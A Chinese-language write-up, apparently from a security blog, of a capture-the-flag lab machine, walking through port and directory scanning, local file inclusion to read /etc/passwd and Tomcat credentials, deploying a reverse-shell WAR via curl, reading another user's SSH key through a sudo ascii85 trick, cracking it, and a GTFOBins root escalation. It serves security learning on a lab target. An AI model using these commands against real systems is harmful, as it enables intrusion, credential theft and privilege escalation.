知非
- 关注

前言
本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!
信息收集阶段
KALI攻击机:192.168.1.128
靶机:192.168.1.69
目标:root.txt和user.txt
nmap -A -p1-65535 192.168.1.69
开启了22端口,80端口和8080端口:
访问下80端口和8080端口,看看!
漏洞利用阶段
试了一下弱口令,无法登录!
接着目录扫描,走起!
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.69 -x txt,html,php
http://192.168.1.69/tomcat.php
访问白屏,而且,SIZE是0,考虑下系统命令执行漏洞!
wfuzz -c --hc=404 --hh=0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.69/tomcat.php?FUZZ=pwd
考了大佬的WP,由于tomcat的密码在配置文件中明文保存,因此这里大概率存在本地包含漏洞直接可以读取tomcat的配置文件。
所以真正的FUZZ命令如下:
wfuzz -c --hc=404 --hh=0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.69/tomcat.php?FUZZ=/etc/passwd
http://192.168.1.69/tomcat.php?filez=/etc/passwd
可见两个用户:nathan和root!这估计是后续需要提权到的用户!
试下直接读取flag:
http://192.168.1.69/tomcat.php?filez=/root/root.txt
http://192.168.1.69/tomcat.php?filez=/home/nathan/user.txt
嘿嘿嘿,想多了,肯定不行,因为我们当前用户是那个tomcat那个用户!!
还是老老实实的读取tomcat的配置文件吧,由于前文的界面显示tomcat9,我们搜一下tomcat9配置文件的路径!
知识点:/etc/systemd/system是创建服务的默认的linux路径,该文件是服务名.service
本次服务是tomcat,其下服务tomcat.service
LFI路径:/etc/systemd/system/tomcat.service
查询tomcat服务信息:
http://192.168.1.69/tomcat.php?filez=/etc/systemd/system/tomcat.service
默认路径是:/opt/tomcat/latest
经查询:配置文件路径为/conf/tomcat-users.xml
http://192.168.1.69/tomcat.php?filez=/opt/tomcat/latest/conf/tomcat-users.xml
Tomcat身份鉴别信息:
用户名:sml
密码:H4ckMyP4$$w0rD!!!
访问:
点击host-manager,输入用户名和密码:
http://192.168.1.69:8080/host-manager/html
但是tomcat反弹shell需要登录manager,但是这里无法登录!
http://192.168.1.69:8080/manager/html
权限不够,通过文件路径来上传!
首先,采用msfvenom生成反弹shell!
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
然后,就是上传反弹shell!!!
curl --upload-file shell.war -u 'sml:H4ckMyP4$$w0rD!!!' 'http://192.168.1.69:8080/manager/text/deploy?path=/shell'
监听端口:
触发反弹shell!!
http://192.168.1.69:8080/shell/
修改为python交互shell!
python3 -c 'import pty; pty.spawn("/bin/bash")'
接着就需要提权到那个账户了!!
这个就是传说中的BASE85了,我的思路是通过这个命令读取nathan账户的id_rsa,然后再BASE85解码!就可以连接到nathan账户了!!
sudo -u nathan ascii85 /home/nathan/.ssh/id_rsa | ascii85 -d
保存为nathan_rsa,修改权限chmod 600 nathan_rsa
连接下:这个key有密码?!
这里有两种方法进行破解!
第一:
python3 /usr/share/john/ssh2john.py nathan_rsa >hash
john hash
第二:采用RSAcrack工具:
工具地址:
https://github.com/d4t4s3c/RSAcrack
这里有个有趣的事情!工具和靶机是同一个作者!
./RSAcrack.sh -w rockyou.txt -k nathan_rsa
连接nathan用户:
第一个flag:
cat user.txt
SK6sh************sEo2R2Qfo49
权限提升阶段
最后就是需要提权到root了!!!
网站走起:https://gtfobins.github.io/gtfobins/lftp/
最后的flag:
cat r00t.txt
55djsN*****************uIlbg9
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
